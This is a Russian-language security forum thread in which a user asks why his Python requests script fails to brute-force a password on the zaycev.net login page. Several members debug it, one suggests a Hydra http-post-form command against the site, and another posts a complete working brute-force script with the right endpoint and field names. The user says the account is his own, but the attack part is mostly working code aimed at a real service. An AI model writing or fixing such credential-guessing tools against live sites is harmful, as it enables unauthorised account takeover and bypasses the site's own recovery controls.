• Codeby web-security - Курс "Тестирование Веб-Приложений на проникновение с нуля" от команды codeby. Общая теория, подготовка рабочего окружения, пассивный фаззинг и фингерпринт, Активный фаззинг, Уязвимости, Пост-эксплуатация, Инструментальные средства, Social Engeneering и многое другое. Подробнее ...

  • Мобильный клиент нашего форума для Android гаджетов доступен в Google Play Market по этой ссылке. Клиент можно скачать с нашего форума по этой ссылке. Последняя версия МК в нашем телеграм канале вот здесь

Проблема Вход в аккаунт зайцев.нет c помощью Python.

Zarmos

New member
09.02.2018
3
0
#1
Здравствуйте, форумчане. Хочу вспомнить пароль от своего старого аккаунта. Регался давно.Почту не помню (помню ник). Решил подобрать пароль.

Python:
import requests

url = "http://zaycev.net/auth/login.php"

username = "kokushi"
listaPassword = "list.txt"

pwd = []
f = open(listaPassword, "r")
pwd = f.readlines()
f.close()

for i in range(0, len(pwd)):
    if pwd[i][len(pwd[i])-1] == '\n':
        pwd[i] = pwd[i][0:len(pwd[i])-1]

messaggioDiErrore = "Неверная почта или логин"

for password in pwd:
    print("Trying the pass:", password)
    parametriDaTestare = { "j_username_page" : username, "j_password_page" : password, "login" : "1" , "badCredentials": 2}
    paginaDiAction = requests.post(url, params=parametriDaTestare)
    risultato = paginaDiAction.text
    if not(messaggioDiErrore in risultato):
        print("Password found:", password)
        break
Скрипт работает, но неправильно. В файле lists.txt есть правильный пароль для нового созданного аккаунта, но сообщение "Password found" не выводится. Может я неправильно указал идентификаторы куда вводить username и password ? Инспектирование элемента на странице, которая в переменной url показывает что :

<input id="j_username_page" class="text" name="j_username" type="text"> для логина.
<input id="j_password_page" class="text" name="j_password" type="text"> для пароля.


Где проблема?
 
Последнее редактирование:

Dr.Lafa

Mod. Hardware
Gold Team
30.12.2016
440
833
#2
Для начала без лишних заморочек прочитай файл:
Код:
pwd = [line.replace("\n", "") for line in open(listaPassword, "r")]
И сейчас только что посмотрел, messaggioDiErrore не такой на самом сайте
 
Симпатии: Понравилось Zarmos

sinner67

Red Team
24.03.2017
239
270
#3
А принципиально именно самописный python скрипт используете?
Я бы так попробовал:
hydra -l kokushi -P list.txt http-post-form://zaycev.net -m "/auth/signin.php:j_username=^USER^&j_password=^PASS^:badCredentials=1"
Поправьте если что то не так написал, гидрой только учусь пользоваться...
 
Симпатии: Понравилось Zarmos

Zarmos

New member
09.02.2018
3
0
#4
Для начала без лишних заморочек прочитай файл:
Код:
pwd = [line.replace("\n", "") for line in open(listaPassword, "r")]
И сейчас только что посмотрел, messaggioDiErrore не такой на самом сайте
А какой ? messaggioDiErrore = 'Неверный пароль' ?

Если заменить на "Неверный пароль" то скрипт выдаёт первый же пасс как Password found.
 

n3d.b0y

Премиум
19.01.2018
70
80
#5
Если ты хотел написать брут сам то явно тебе это не удалось. Как минимум надо сохранять куки дабы не было не понятной фигни при запросах. Во вторых подставлять юзар агент самому лучше. В третих проверять не пост запрос а возвращаемую страницу после редиректа
 

Zarmos

New member
09.02.2018
3
0
#6
А принципиально именно самописный python скрипт используете?
Я бы так попробовал:
hydra -l kokushi -P list.txt http-post-form://zaycev.net -m "/auth/signin.php:j_username=^USER^&j_password=^PASS^:badCredentials=1"
Поправьте если что то не так написал, гидрой только учусь пользоваться...
Можно конечно и спасибо за метод , но мне хочется именно решить проблему ручками и через requests. У меня есть решение через pyautogui, но эта уже другая история с другим кодом.
 

Citizen0

Well-known member
07.02.2017
159
179
#7
<input id="j_username_page" class="text" name="j_username" type="text"> для логина.
<input id="j_password_page" class="text" name="j_password" type="text"> для пароля.
А почему Вы в параметрах используете идентификаторы?
parametriDaTestare = { "j_username_page" : username, "j_password_page" : password, "login" : "1" , "badCredentials": 2}
 

Drager

New member
03.03.2017
1
0
#8
В помощь, мой вариант. Смотри URL и payload.

Python:
import requests

URL = 'http://zaycev.net/auth/signin.php'

USERNAME = 'пфвапфвым'
PASS_LIST = 'plist.txt'

with open(PASS_LIST, 'r') as f:
    pwd = f.readlines()
    # print(pwd)

for passwd in pwd:
    payload = {'j_username': USERNAME, 'j_password': passwd.replace('\n', '')}
    resp = requests.post(URL, data=payload)
    if resp.text.find('Учётная запись пользователя не активирована') != -1:
        print('Учётная запись {0} не активирована'.format(USERNAME))
        # print(resp.text)
        break
    elif resp.text.find('Неверная почта или логин') != -1:
        print('Неверная почта или логин')
        break
    elif resp.text.find('Неверный пароль') != -1:
        print('Пароль {0} не катит'.format(passwd.replace('\n', '')))
        continue
    else:
        print('Похоже, подобрали. Пароль - {0}'.format(passwd.replace('\n', '')))
        break

Тестовый plist.txt

Код:
sxxnvghdf
fdfgxgfhc
dgfhcxg
Jr7Pwku62N
sdgsd
dfsgdf
ds#@345dsg
dsgdr1234
ser
Верный пароль - Jr7Pwku62N
 
Вверх Снизу